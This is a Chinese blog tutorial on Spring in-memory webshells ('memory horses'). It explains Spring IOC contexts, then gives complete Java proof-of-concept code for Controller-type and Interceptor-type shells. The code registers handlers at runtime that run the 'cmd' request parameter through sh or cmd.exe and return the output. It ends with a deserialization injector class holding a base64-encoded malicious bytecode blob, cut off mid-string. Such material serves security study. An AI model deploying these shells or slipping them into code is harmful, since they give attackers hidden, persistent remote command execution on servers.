Spring内存马分析
情况搭建踩了很多坑....，不过还好最后还是成功了
IDEA直接新建javaEE项目，然后记得把index.jsp删了，不然DispatcherServlet会失效
导入依赖：
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.1</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.12.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-api</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
</dependencies>web.xml导入：
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>springmvc.xml，放在resource目录下：
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd">
<context:component-scan base-package="com.example.springmemory.controller"></context:component-scan>
<mvc:annotation-driven/>
<bean id="viewResolver"
>
<property name="order" value="1"/>
<property name="characterEncoding" value="UTF-8"/>
<property name="templateEngine">
<bean >
<property name="templateResolver">
<bean
>
<property name="prefix" value="/WEB-INF/templates/"/>
<property name="suffix" value=".html"/>
<property name="templateMode" value="HTML5"/>
<property name="characterEncoding" value="UTF-8" />
</bean>
</property>
</bean>
</property>
</bean>
</beans>写一个测试Servlet：
package com.example.springmemory.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class HelloController {
@RequestMapping("/")
public String index(){
return "index";
}
}启动tomcat服务，如果是/WEB-INF/templates/index.html的内容，说明设置成功，跳转位置可以根据个人习惯进行修改
Controller型内存马
简朴介绍
Bean
Bean 是 Spring 框架的一个焦点概念，它是构成应用程序的主干，并且是由 Spring IOC 容器负责实例化、设置、组装和管理的对象。
[*]bean 是对象
[*]bean 被 IOC 容器管理
[*]Spring 应用重要是由一个个的 bean 构成的
IOC容器
如果一个系统有大量的组件（类），其生命周期和相互之间的依赖关系如果由组件自身来维护，不但大大增加了系统的复杂度，而且会导致组件之间极为紧密的耦合，继而给测试和维护带来了极大的困难。解决这一问题的焦点方案就是IOC（又称为依赖注入）。由IOC负责创建组件、根据依赖关系组装组件、按依赖顺序精确销毁组件。IOC容器通过读取设置元数据来获取对象的实例化、设置和组装的描述信息。设置的零元数据可以用xml、Java注解或Java代码来表示。
ApplicationContext
很眼熟，我们在分析Tomcat内存马的时候就提到过它，当时是代表Tomcat的容器。Spring 框架中，BeanFactory 接口是 Spring IOC容器 的现实代表者，Spring容器就是ApplicationContext，它是一个接口继承于BeanFactory，有很多实现类。得到了ApplicationContext的实例，就得到了IOC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240406185253503-395335103.png#height=101&id=nKawG&originHeight=261&originWidth=1509&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=584.7142944335938
因此，org.springframework.context.ApplicationContext接口也代表了 IOC容器 ，它负责实例化、定位、设置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。
Root Context和Child Context
举个web.xml例子：
...
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
...这里我们将DispatcherServlet设置别名为spring，然后将contextConfigLocation参数值设置为/WEB-INF/springmvc.xml。依照规范，当没有显式设置contextConfigLocation时，程序会自动寻找 /WEB-INF/-servlet.xml作为设置文件，上文的是DispatcherServlet，所以若是没有表现设置contextConfigLocation的话，会去找/WEB-INF/DispatcherServlet-servlet.xml作为设置文件。
每个具体的DispatcherServlet创建的是一个Child Context，代表一个独立的 IOC 容器；而 ContextLoaderListener所创建的是一个Root Context，代表全局唯一的一个公共 IOC 容器.如果要访问和操作 bean ，一般要得到当前代码执行情况的IOC 容器 代表者 ApplicationContext。
[*]Spring 应用中可以同时有多个 Context，其中只有一个 Root Context，剩下的满是 Child Context
[*]所有Child Context都可以访问在 Root Context中定义的 bean，但是Root Context无法访问Child Context中定义的 bean
[*]所有的Context在创建后，都会被作为一个属性添加到了ServletContext中
ContextLoaderListener
ContextLoaderListener重要被用来初始化全局唯一的Root Context，即Root WebApplicationContext。这个Root WebApplicationContext会和其他 Child Context 实例共享它的 IOC 容器，供其他 Child Context 获取并利用容器中的 bean。
构造思路
[*]获取上下文情况context
[*]动态注册controller
[*]设置映射
获取Context的四种方法
getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); getAttribute
// 这种方式与前几种的思路就不太一样了，因为所有的Context在创建后，都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);Spring 2.5 到 Spring 3.1 之前一般利用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping映射器 。
Spring 3.1 开始及以后一般开始利用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解。因此也就有分开的2条思路来注册controller
registerMapping
在spring4后可以直接用registerMapping来直接注册controller，这个也是RequestMappingHandlerMapping中利用的方法
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods());
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);registerHandler
针对利用DefaultAnnotationHandlerMapping映射器的应用，可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping，在其中的registerHandler()方法中注册
了controller
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
Assert.notNull(urlPath, "URL path must not be null");
Assert.notNull(handler, "Handler object must not be null");
Object resolvedHandler = handler;
// Eagerly resolve handler if referencing singleton via name.
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String) handler;
ApplicationContext applicationContext = obtainApplicationContext();
if (applicationContext.isSingleton(handlerName)) {
resolvedHandler = applicationContext.getBean(handlerName);
}
}
Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException(
"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
}
}
else {
if (urlPath.equals("/")) {
if (logger.isTraceEnabled()) {
logger.trace("Root mapping to " + getHandlerDescription(handler));
}
setRootHandler(resolvedHandler);
}
else if (urlPath.equals("/*")) {
if (logger.isTraceEnabled()) {
logger.trace("Default mapping to " + getHandlerDescription(handler));
}
setDefaultHandler(resolvedHandler);
}
else {
this.handlerMap.put(urlPath, resolvedHandler);
if (getPatternParser() != null) {
this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
}
if (logger.isTraceEnabled()) {
logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
}
}
}
}urlPath和handler，这两者分别就是router和controller
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMappingdh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");detectHandlerMethods
针对利用RequestMappingHandlerMapping映射器的应用，可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping在其detectHandlerMethods()方法中注册了controller
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
}
});
Iterator var6 = methods.iterator();
while(var6.hasNext()) {
Method method = (Method)var6.next();
T mapping = this.getMappingForMethod(method, userType);
this.registerHandlerMethod(handler, method, mapping);
}
}context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");构造内存马
package com.example.springmemory.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
@Controller
public class EvilController {
@RequestMapping("/control")
public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
System.out.println("i am in");
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
}
public class Controller_Shell{
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
}
}访问/control
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407140606473-116915245.png#height=202&id=EsaXQ&originHeight=688&originWidth=2000&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=587.7142944335938
虽然500，但没有影响，成功写入马子
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407140654824-1350714444.png#height=124&id=GugpM&originHeight=172&originWidth=814&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=584.7142944335938
留意
这个马子有版本限制，绕过方法可以参考
https://blog.csdn.net/mole_exp/article/details/123992395
这里给出另外两个马子，方便本身复习（
/**
* 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
public class SpringControllerMemShell2 {
public SpringControllerMemShell2() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringControllerMemShell2.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/malicious")
.options(config)
.build();
SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
public SpringControllerMemShell2(String aaa) {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}/**
* 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
public class SpringControllerMemShell3 {
public SpringControllerMemShell3() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = SpringControllerMemShell3.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo info =
(RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);
SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
public SpringControllerMemShell3(String aaa) {
}
@RequestMapping("/malicious")
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}Interceptor型内存马
情况搭建
准备一个自定义的Interceptor：
package com.example.springmemory.interceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
public class testfilter implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("prehandle");
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("posthandle");
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterhandle");
}
}最后准备一个controller
package com.example.springmemory.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class TestController {
@RequestMapping("/normal")
public String hello(){
System.out.println("hello");
return "hello";
}
}在springmvc.xml里注册一下拦截器
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/*"/>
<bean />
</mvc:interceptor>
</mvc:interceptors>启动tomcat
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407145432841-1896985006.png#height=104&id=eGULj&originHeight=130&originWidth=378&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=303.0000305175781
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407145457772-1300644565.png#height=81&id=f6PBD&originHeight=79&originWidth=299&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=305
组件触发顺序为Listen->Filter->Interceptor->controller
调试流程分析
intercepter处打个断点进行调试
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407152249792-1109870800.png#height=192&id=JzU4G&originHeight=285&originWidth=760&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=510.71429443359375
在调用internalDoFilter之前都是和tomcat启动时是一样的，之后SpringBoot进入了doDispatch方法，这个在SpringMVC中提到过了，因为有一个中央控制器控制着所有其他控制器
进入doDispatch后随之又进入了getHandler方法：https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407153412743-901795047.png#height=158&id=ejAl2&originHeight=299&originWidth=981&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=517.7142944335938
跟进getHandler方法，来到另一个getHandler
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407153502258-1573891313.png#height=164&id=CGnsb&originHeight=511&originWidth=1613&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=516.7142944335938
跟进这个getHandler，来到getHandlerExecutionChain中
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407153552705-951773354.png#height=264&id=nXDaa&originHeight=700&originWidth=1372&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=516.7142944335938
进入getHandlerExecutionChain，在这里面添加了我们的interceptorhttps://img2024.cnblogs.com/blog/2746479/202404/2746479-20240407153703872-130391981.png#height=209&id=HFhHX&originHeight=668&originWidth=1654&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=517.7142944335938
内存马构造
构造思路
[*]获取上下文context
[*]创建恶意Interceptor
[*]修改adaptedInterceptors属性来注册Interceptor
获取Context
这是一种上面没提到的方法
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰，所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();LiveBeansView这个类是在spring3.2之后才添加进来的，因此在低版本这种方法是行不通的
反射获取adaptedInterceptors
这个属性是AbstractHandlerMapping类中的，因此想要获取它，首先必要获取AbstractHandlerMapping。
我们可以通过上下文先获取RequestMappingHandlerMapping1，再强制范例转换即可，RequestMappingHandlerMapping类的父类就是AbstractHandlerMapping，这个可以本身一层层点进去，会发现AbstractHandlerMapping几乎是所有Handler的父类，它直接实现了HandlerMapping接口
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);注册恶意Interceptor
package com.example.springmemory.interceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
public class testfilter implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
Runtime.getRuntime().exec(request.getParameter("cmd"));
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("posthandle");
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterhandle");
}
}完备POC
package com.example.springmemory.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import com.example.springmemory.interceptor.testfilter;
@Controller
public class InterceptorShell {
@RequestMapping("/addinterceptor")
public void shell() throws NoSuchFieldException, IllegalAccessException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
testfilter testfilter = new testfilter();
adaptedInterceptors.add(testfilter);
}
}以上有点辣鸡，看下面的马
动态注册Interceptor
package com.exaple.spring;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
public class inject extends AbstractTranslet {
static {
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
String className = "com.example.spring.magicInterceptor";
//加载com.example.spring.magicInterceptor类的字节码
String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEW